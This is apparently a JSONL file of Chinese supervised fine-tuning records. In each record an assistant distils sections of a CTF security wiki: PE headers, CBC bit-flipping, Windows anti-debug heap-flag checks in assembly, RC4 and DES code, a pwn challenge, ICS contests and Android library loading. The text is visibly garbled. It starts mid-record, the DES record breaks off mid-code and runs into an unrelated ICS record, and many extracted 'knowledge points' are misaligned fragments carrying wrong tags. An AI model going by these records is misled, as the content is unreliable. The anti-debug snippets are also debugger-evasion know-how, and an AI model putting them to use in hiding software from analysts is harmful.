"source_path": "executable/pe/pe-excutable.md", "source_root": "docs", "source_sha256": "4669cbf09f510d2b3a2f22bbcf445cf1d4ba546e5c8b539b790becf13b0901d8", "split": "train", "split_group_key": "b6fa276d6597aec7059dfee9", "subcategory": "executable/pe/pe-excutable.md", "terms": ["堆", "栈", "AI安全", "executable", "pe", "pe-excutable.md"], "title": "PE 文件格式"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/pe/pe-excutable.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-99d4bc439d339c51232b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/pe/pe-excutable.md` 中的章节「IMAGE_OPTIONAL_HEADER」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/pe/pe-excutable.md`\n标题：PE 文件格式\n章节：PE 文件格式 > PE文件头 > IMAGE_NT_HEADERS > IMAGE_OPTIONAL_HEADER\n路径分类：executable / executable/pe/pe-excutable.md\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“IMAGE_OPTIONAL_HEADER”展开。\n- / +003ch 文件中节对齐粒度 / WORD MajorOperatingSystemVersion;\n- / +0040h 操作系统主要版本号 / WORD MinorOperatingSystemVersion;\n- / +005eh 映像文件的DLL属性 / DWORD SizeOfStackReserve;\n- / +0060h 初始化时的保留的栈大小 / DWORD SizeOfStackCommit;\n- / +0064h 初始化时实际提交的栈大小 / DWORD SizeOfHeapReserve;\n\n关键术语：\n- 堆\n- 栈\n- ROP/JOP\n- AI安全\n- executable\n- pe\n- pe-excutable.md\n- code:c\n\n代码/命令片段线索：\n- c: 33 行，首行 `typedef struct _IMAGE_OPTIONAL_HEADER {`\n- c: 14 行，首行 `// Subsystem 标志`\n- c: 12 行，首行 `// DLL 属性标志`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 4992, "chunk_count": 2, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "IMAGE_OPTIONAL_HEADER", "heading_path": ["PE 文件格式", "PE文件头", "IMAGE_NT_HEADERS", "IMAGE_OPTIONAL_HEADER"], "original_id": "docs-c494d3dfa494ccefc695", "original_line": 495, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/pe/pe-excutable.md", "source_root": "docs", "source_sha256": "4669cbf09f510d2b3a2f22bbcf445cf1d4ba546e5c8b539b790becf13b0901d8", "split": "train", "split_group_key": "b6fa276d6597aec7059dfee9", "subcategory": "executable/pe/pe-excutable.md", "terms": ["堆", "栈", "ROP/JOP", "AI安全", "executable", "pe", "pe-excutable.md", "code:c"], "title": "PE 文件格式"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/pe/pe-excutable.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-9b51429f77b353c7de92", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/cbc.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/cbc.md`\n标题：CBC\n章节：CBC > 攻击 > 字节反转攻击 > 例题\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题”展开。\n- 所以题目流程为先随便提供一个明文，然后将密文进行修改，使得解密后的字符串最后的内容为admin,我们可以枚举flag的长度来确定我们需要在什么位置进行修改。\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- blockcipher\n- mode\n- cbc.md\n- code:python\n\n代码/命令片段线索：\n- python: 39 行，首行 `from flag import FLAG`\n- python: 27 行，首行 `from pwn import *`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 2190, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "例题", "heading_path": ["CBC", "攻击", "字节反转攻击", "例题"], "original_id": "docs-c1f0a8ade8c0a8dbd345", "original_line": 331, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/cbc.md", "source_root": "docs", "source_sha256": "967fd18c8236164596850f301cd052c278278b21d1aa64db341b53b17d06c695", "split": "train", "split_group_key": "ee7345636947756d575d10e4", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "AI安全", "crypto", "blockcipher", "mode", "cbc.md", "code:python"], "title": "CBC"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/cbc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-9b5893955d5fcace457b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/heap-flags.md` 中的章节「检测ForgeFlags字段」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/heap-flags.md`\n标题：Heap Flags\n章节：Heap Flags > 检测ForgeFlags字段\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“检测ForgeFlags字段”展开。\n- + HEAP_VALIDATE_PARAMETERS_ENABLED cmp eax, 40000060h je being_debugged ` 32位代码检测32位windows环境, 且subsystem为3.51及更高版本: ` asm call GetVersion cmp al, 6 cmc sbb ebx, ebx and ebx, 34h mov eax, fs:[30h] ;\n- + HEAP_VALIDATE_PARAMETERS_ENABLED cmp [eax+ebx+10h], 40000060h je being_debugged ` 64位代码检测64位windows环境(64位进程不必受subsystem版本困扰): ` asm push 60h pop rsi gs:lodsq ;\n- + HEAP_VALIDATE_PARAMETERS_ENABLED cmp d [rbx+rax+74h], 40000060h je being_debugged ` 用32位代码检测64位windows环境: ` asm call GetVersion cmp al, 6 push 30h pop eax mov ebx, fs:[eax] ;\n- + HEAP_VALIDATE_PARAMETERS_ENABLED cmp [ebx+eax+74h], 40000060h je being_debugged ``\n- get process heap base mov eax, [eax+ebx+10h] ;\n\n关键术语：\n- 堆\n- AI安全\n- reverse\n- platform\n- windows\n- anti-debug\n\n代码/命令片段线索：\n- plain: 1 行，首行 `32位代码检测32位windows环境, 且`subsystem`为`3.51`及更高版本:`\n- plain: 1 行，首行 `64位代码检测64位windows环境(64位进程不必受`subsystem`版本困扰):`\n- plain: 1 行，首行 `用32位代码检测64位windows环境:`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 1591, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "检测ForgeFlags字段", "heading_path": ["Heap Flags", "检测ForgeFlags字段"], "original_id": "docs-78c0db9cafbc157a7aaf", "original_line": 1518, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/heap-flags.md", "source_root": "docs", "source_sha256": "0178ca5792ad4784b2908b78035d353c6b6ff326160ae7f29a3b02f9f54726c7", "split": "train", "split_group_key": "30db60510da398f605922682", "subcategory": "reverse/platform/windows", "terms": ["堆", "AI安全", "reverse", "platform", "windows", "anti-debug"], "title": "Heap Flags"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/heap-flags.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-9c32bc1a992194e9cf55", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/identify-encode-encryption/introduction.md` 中的章节「python解密脚本」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/identify-encode-encryption/introduction.md`\n标题：常见加密算法和编码识别\n章节：常见加密算法和编码识别 > RC4 > python解密脚本\n路径分类：reverse / reverse/identify-encode-encryption/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“python解密脚本”展开。\n- ``python def rc4_main(key = \"init_key\", message = \"init_message\"): print(\"RC4解密主函数调用成功\") print('\\n') s_box = rc4_init_sbox(key) crypt = rc4_excrypt(message, s_box) return crypt def rc4_init_sbox(key): s_box = list(range(256)) print(\"原来的 s 盒：%s\" % s_box) pri...\n\n关键术语：\n- 密码学\n- AI安全\n- reverse\n- identify-encode-encryption\n- introduction.md\n- code:python\n\n代码/命令片段线索：\n- python: 46 行，首行 `def rc4_main(key = \"init_key\", message = \"init_message\"):`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 1207, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "python解密脚本", "heading_path": ["常见加密算法和编码识别", "RC4", "python解密脚本"], "original_id": "docs-d1bfb9789cf32c4618d4", "original_line": 1475, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/identify-encode-encryption/introduction.md", "source_root": "docs", "source_sha256": "42a9e7f8a466122cdf713c3924803d4330afbf3adfb0d5c278d1ff2d658c2f61", "split": "train", "split_group_key": "d8fc4f363ae2afcbe665b3ea", "subcategory": "reverse/identify-encode-encryption/introduction.md", "terms": ["密码学", "AI安全", "reverse", "identify-encode-encryption", "introduction.md", "code:python"], "title": "常见加密算法和编码识别"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/identify-encode-encryption/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-9c8ba7aae1232a2cf953", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/ai-for-security/agent/multi-agent-orchestration/knowledge-sharing/introduction.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/ai-for-security/agent/multi-agent-orchestration/knowledge-sharing/introduction.md`\n标题：简介\n章节：简介\n路径分类：ai / ai/ai-for-security/agent\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“简介”展开。\n- 知识共享（Knowledge Sharing）是多智能体系统（Multi-Agent System）中的一种协作机制，用于支持不同 Agent 之间交换、传播和利用任务过程中产生的信息。\n- 在单 Agent 系统中，Agent 通常依赖自身的 Memory 保存和检索历史信息。\n- 而在多智能体系统中，不同 Agent 可能分别负责不同子任务，因此需要一种机制使 Agent 能够共享彼此发现的重要信息，从而减少重复工作，提高整体任务完成效率。\n- 例如，在一个安全分析场景中： - Agent A 负责总体编排与目标规划 - Sub Agent a 负责日志分析，发现某个可疑 IP；\n- 如果没有知识共享机制，每个 Agent 只能基于自身的信息与上下文进行决策，从而可能会导致由于信息缺失而工作效率下降，且可能重复其他 Agent 已经进行过的动作，导致整体工作效率下降。\n\n关键术语：\n- AI安全\n- 漏洞利用\n- ai\n- ai-for-security\n- agent\n- multi-agent-orchestration\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 1078, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "简介", "heading_path": ["简介"], "original_id": "docs-bcd05e9620beb733d4af", "original_line": 24, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/multi-agent-orchestration/knowledge-sharing/introduction.md", "source_root": "docs", "source_sha256": "a937fe59e7d9680ddf9355147e73c94631cde1879383ec0d28cab9b1080b2e24", "split": "train", "split_group_key": "4cb436a26c48ace7c2c3fbd9", "subcategory": "ai/ai-for-security/agent", "terms": ["AI安全", "漏洞利用", "ai", "ai-for-security", "agent", "multi-agent-orchestration"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/multi-agent-orchestration/knowledge-sharing/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-9dd1b6b4cf87752163a5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/ai-for-security/agent/introduction.md` 中的章节「CTF 与 AI Agent」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/ai-for-security/agent/introduction.md`\n标题：AI Agent\n章节：AI Agent > CTF 与 AI Agent\n路径分类：ai / ai/ai-for-security/agent\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“CTF 与 AI Agent”展开。\n- 随着 AI agent 技术的发展与 LLM 基模能力的提升，安全行业也正如其他计算机细分领域一样在遭受前所未有的冲击。\n- 得益于 AI agent 的可用性在近年来得到大幅提高，在现在的 CTF 赛场上逐渐出现越来越多的“非传统型 CTFer” ，与传统 CTF 选手仅将 LLM 作为知识库不同，他们在赛场上会更多地依赖于使用 AI Agent 辅助解题过程，甚至于完全依靠 AI Agent 进行自动化解题—— 选手反过来变成了 AI Agent 的“代理人”。\n- 需要说明， 使用 AI Agent 进行解题一事对相当一部分 CTF 比赛的公平性都带来了极大的冲击 ，因为最终的解题并不是依赖选手自身能力完成，而是依赖大模型与 Agent 框架的能力，这直接挑战了 CTF 一个长期默认的前提—— 参赛能力应当约等于参赛者个人能力 。\n- 而在 AI 领域蓬勃发展的今天，对于绝大部分简单与中等难度的 CTF 赛题而言（甚至包括部分高难题），AI Agent 都已经有足够的能力完成自动化解题。\n- 这直接带来的一个现实问题便是在绝大部分比赛当中 一旦你不舍得投钱使用昂贵的高级模型、或是没有使用足够强大的 Agent 框架，你都有可能拼不过使用 AI 进行解题的对手 。\n\n关键术语：\n- AI安全\n- 修复/缓解\n- 漏洞利用\n- ai\n- ai-for-security\n- agent\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 1382, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "CTF 与 AI Agent", "heading_path": ["AI Agent", "CTF 与 AI Agent"], "original_id": "docs-fa6b29c18970ab94e7ce", "original_line": 10, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/introduction.md", "source_root": "docs", "source_sha256": "10c5f487d7f7a7848399d82c958a68f082b5cd409eb446fb771b97f564a5ce52", "split": "train", "split_group_key": "554c247714631ed69f1b58b9", "subcategory": "ai/ai-for-security/agent", "terms": ["AI安全", "修复/缓解", "漏洞利用", "ai", "ai-for-security", "agent", "introduction.md"], "title": "AI Agent"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-9eb668566a4c6c30946f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/io-file/fake-vtable-exploit.md` 中的章节「基本信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/io-file/fake-vtable-exploit.md`\n标题：伪造vtable劫持程序流程\n章节：伪造vtable劫持程序流程 > 2018 HCTF the_end > 基本信息\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本信息”展开。\n- } `` 分析题目，利用点很明确在 main 函数中，且： - 除了 canary 保护全开 - libc 基地址和 libc 版本 - 能够任意位置写 5 字节\n- `` void __fastcall __noreturn main(__int64 a1, char a2, char a3) { signed int i;\n- // [rsp+8h] [rbp-8h] sleep(0);\n- printf(\"here is a gift %p, good luck ;\n- ++i ) { read(0, &buf, 8uLL);\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- io-file\n\n代码/命令片段线索：\n- plain: 16 行，首行 `void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 424, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "ai", "heading": "基本信息", "heading_path": ["伪造vtable劫持程序流程", "2018 HCTF the_end", "基本信息"], "original_id": "docs-1b78493b922d0f4f7959", "original_line": 63, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/fake-vtable-exploit.md", "source_root": "docs", "source_sha256": "6abaf58d0989bf6ef56368c833bf7312abfa1c66a814f4f3a9876022d3e7e325", "split": "train", "split_group_key": "26e3c2f471fab1bcab054567", "subcategory": "pwn/linux/user-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "user-mode", "io-file"], "title": "伪造vtable劫持程序流程"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/fake-vtable-exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-a22e5ef9b729abcf5f66", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/the-heap.md` 中的章节「The Heap」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/the-heap.md`\n标题：The Heap\n章节：The Heap\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“The Heap”展开。\n- 堆在初始化时, 会检查heap flags, 并视一些标志位的有无设置而对环境作出额外的改变. 像Themida就有采用这种方法来检测调试器. 比如: 如果设置了HEAP_TAIL_CHECKING_ENABLED标志(见Heap Flags节), 那么在32位windows中就会在分配的堆块尾部附加2个0xABABABAB(64位环境就是4个). 如果设置了HEAP_FREE_CHECKING_ENABLED(见Heap Flags节)标志, 那么当需要额外的字节来填充堆块尾部时, 就会使用0xFEEEFE...\n\n关键术语：\n- 堆\n- AI安全\n- reverse\n- platform\n- windows\n- anti-debug\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 317, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "The Heap", "heading_path": ["The Heap"], "original_id": "docs-0c92a42f9ecf97769387", "original_line": 1532, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/the-heap.md", "source_root": "docs", "source_sha256": "e3df90c62bb57b1c46579cc752d8869c98cee6102d68c64a3e4d28f1e2c098f5", "split": "train", "split_group_key": "e6183202a03afe54f6f98c10", "subcategory": "reverse/platform/windows", "terms": ["堆", "AI安全", "reverse", "platform", "windows", "anti-debug"], "title": "The Heap"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/the-heap.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-a4a66f5fedad963ba950", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/des.md` 中的章节「-- coding: utf-8 --」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/des.md`\n标题：DES\n章节：-- coding: utf-8 --\n路径分类：crypto / crypto/blockcipher/des.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“-- coding: utf-8 --”展开。\n- def round_add(a, b): f = lambda x, y: x + y - 2 * (x & y) res = '' for i in range(len(a)): res += chr(f(ord(a[i]), ord(b[i]))) return res\n- def permutate(table, block): return list(map(lambda x: block[x], table))\n- def string_to_bits(data): data = [ord(c) for c in data] l = len(data) 8 result = [0] l pos = 0 for ch in data: for i in range(0,8): result[(pos<<3)+i] = (ch>>i) & 1 pos += 1 return result\n- s_box = [54, 132, 138, 83, 16, 73, 187, 84, 146, 30, 95, 21, 148, 63, 65, 189, 188, 151, 72, 161, 116, 63, 161, 91, 37, 24, 126, 107, 87, 30, 117, 185, 98, 90, 0, 42, 140, 70, 86, 0, 42, 150, 54, 22, 144, 153, 36, 90, 149, 54, 156, 8, 59, 40, 110, 56,1, 84,...\n- def generate(o): k = permutate(s_box,o) b = [] for i in range(0, len(k), 7): b.append(k[i:i+7] + [1]) c = [] for i in range(32): pos = 0 x = 0 for j in b[i]: x += (j< 国内工控比赛考察点\n路径分类：ics / ics/ctfs.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“国内工控比赛考察点”展开。\n- 采用CTF分类模型，总结分析当前工控ICS比赛中的关键点 |比赛类型|考察点|与CTF异同| |-------|------|-------| |内网渗透|Web 端渗透测试、CMS 系统、工控发布展示系统、数据库系统|与 Web 渗透相关 |逆向分析|固件分析、工控软件逆向|实际场景逆向| |工控协议|工控流量分析、Misc 类|Misc 流量分析，工控场景流量特征| |工控编程|PLC 编程、HMI 组态、RTU 编程等|工控实际组态软件使用，梯形图识别与分析| 根据漏洞类型其实还可以区分细化题目类型，包...\n- |比赛类型|漏洞类型| |-------|------| |内网渗透|Web 类（SQL、XSS、命令注入、敏感文件泄露 .git/.idea/.project 等、） |逆向分析|固件分析、工控软件逆向|实际软件、DLL、ELF、MIPS 逆向| |工控协议|工控流量分析、Misc 类|Misc 流量分析，工控场景流量特征| |工控编程|PLC 编程、HMI 组态|工控实际组态软件使用，梯形图识别与分析| 针对目前出现或曾经出现的 ICS CTF 题目类型，其实与 CTF 竞赛有许多重合点，因此不再此赘述，...\n\n关键术语：\n- XSS\n- AI安全\n- 漏洞利用\n- ics\n- ctfs.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ics", "chars": 603, "chunk_count": 1, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "ai", "heading": "国内工控比赛考察点", "heading_path": ["ICS_CTF 竞赛", "国内工控比赛考察点"], "original_id": "docs-69bbc6147002cb86e265", "original_line": 505, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ics/ctfs.md", "source_root": "docs", "source_sha256": "9db703e491384f8fdf09bd064abbc3e4dd8b18009267043bc9c04a4ff4baaa60", "split": "train", "split_group_key": "d689c0ff9c68a50f0d04b181", "subcategory": "ics/ctfs.md", "terms": ["XSS", "AI安全", "漏洞利用", "ics", "ctfs.md"], "title": "ICS_CTF 竞赛"}, "source_dataset": "docs_distilled_v1", "source_path": "ics/ctfs.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-a61778ff63e806b74b5a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/native_layer/so.md` 中的章节「dvmLoadNativeCode」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/native_layer/so.md`\n标题：so 介绍\n章节：so 介绍 > 核心加载流程 > dvmLoadNativeCode\n路径分类：android / android/basic_operating_mechanism/native_layer\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“dvmLoadNativeCode”展开。\n- } ` 4. 如果加载成功，就会利用 dlsym 来获取对应 so 文件中的 JNI_OnLoad 函数，如果存在该函数的话，就进行调用，否则，就会直接返回。\n- If it doesn't trigger the early- // out above, the libc constructor will be called again (recursively!\n- if (vonLoad == NULL) { ALOGD(\"No JNI_OnLoad found in %s %p, skipping init\", pathName, classLoader);\n- if (gDvm.verboseJni) { ALOGI(\"[Calling JNI_OnLoad for \\\"%s\\\"]\", pathName);\n- if (version == JNI_ERR) { detail = strdup(StringPrintf(\"JNI_ERR returned from JNI_OnLoad in \\\"%s\\\"\", pathName).c_str());\n\n关键术语：\n- 栈\n- Android逆向\n- AI安全\n- 漏洞利用\n- android\n- basic-operating-mechanism\n- native-layer\n- so.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `在找到对应的库之后，会使用 `si->CallConstructors();` 来构造相关信息，如下`\n- plain: 1 行，首行 `可以看出，正如注释所写的，如说 .init 函数与 init_array 存在的话，程序会依次调用 .init 函数与.init_array 中对应位置的代码。相关说明如下`\n- plain: 1 行，首行 `3. 建立一个打开的共享库的 entry，并试图其加入到对应的 list 中，方便管理。如果加入失败的话，就会对其进行释放。`\n- plain: 1 行，首行 `4. 如果加载成功，就会利用 dlsym 来获取对应 so 文件中的 JNI_OnLoad 函数，如果存在该函数的话，就进行调用，否则，就会直接返回。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 4969, "chunk_count": 2, "chunk_index": 1, "ctf_score": 16, "ctf_task_type": "ai", "heading": "dvmLoadNativeCode", "heading_path": ["so 介绍", "核心加载流程", "dvmLoadNativeCode"], "original_id": "docs-b7855b96735068dde220", "original_line": 75, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/native_layer/so.md", "source_root": "docs", "source_sha256": "177ae3216c4014a84a5b4b0bf3da85057941f6578ea85692932859c1fed69579", "split": "train", "split_group_key": "4dc4c8fc6bf7ce2d45d4ca66", "subcategory": "android/basic_operating_mechanism/native_layer", "terms": ["栈", "Android逆向", "AI安全", "漏洞利用", "android", "basic-operating-mechanism", "native-layer", "so.md"], "title": "so 介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/native_layer/so.md", "split": "train", "type": "ctf_lora_sft"}
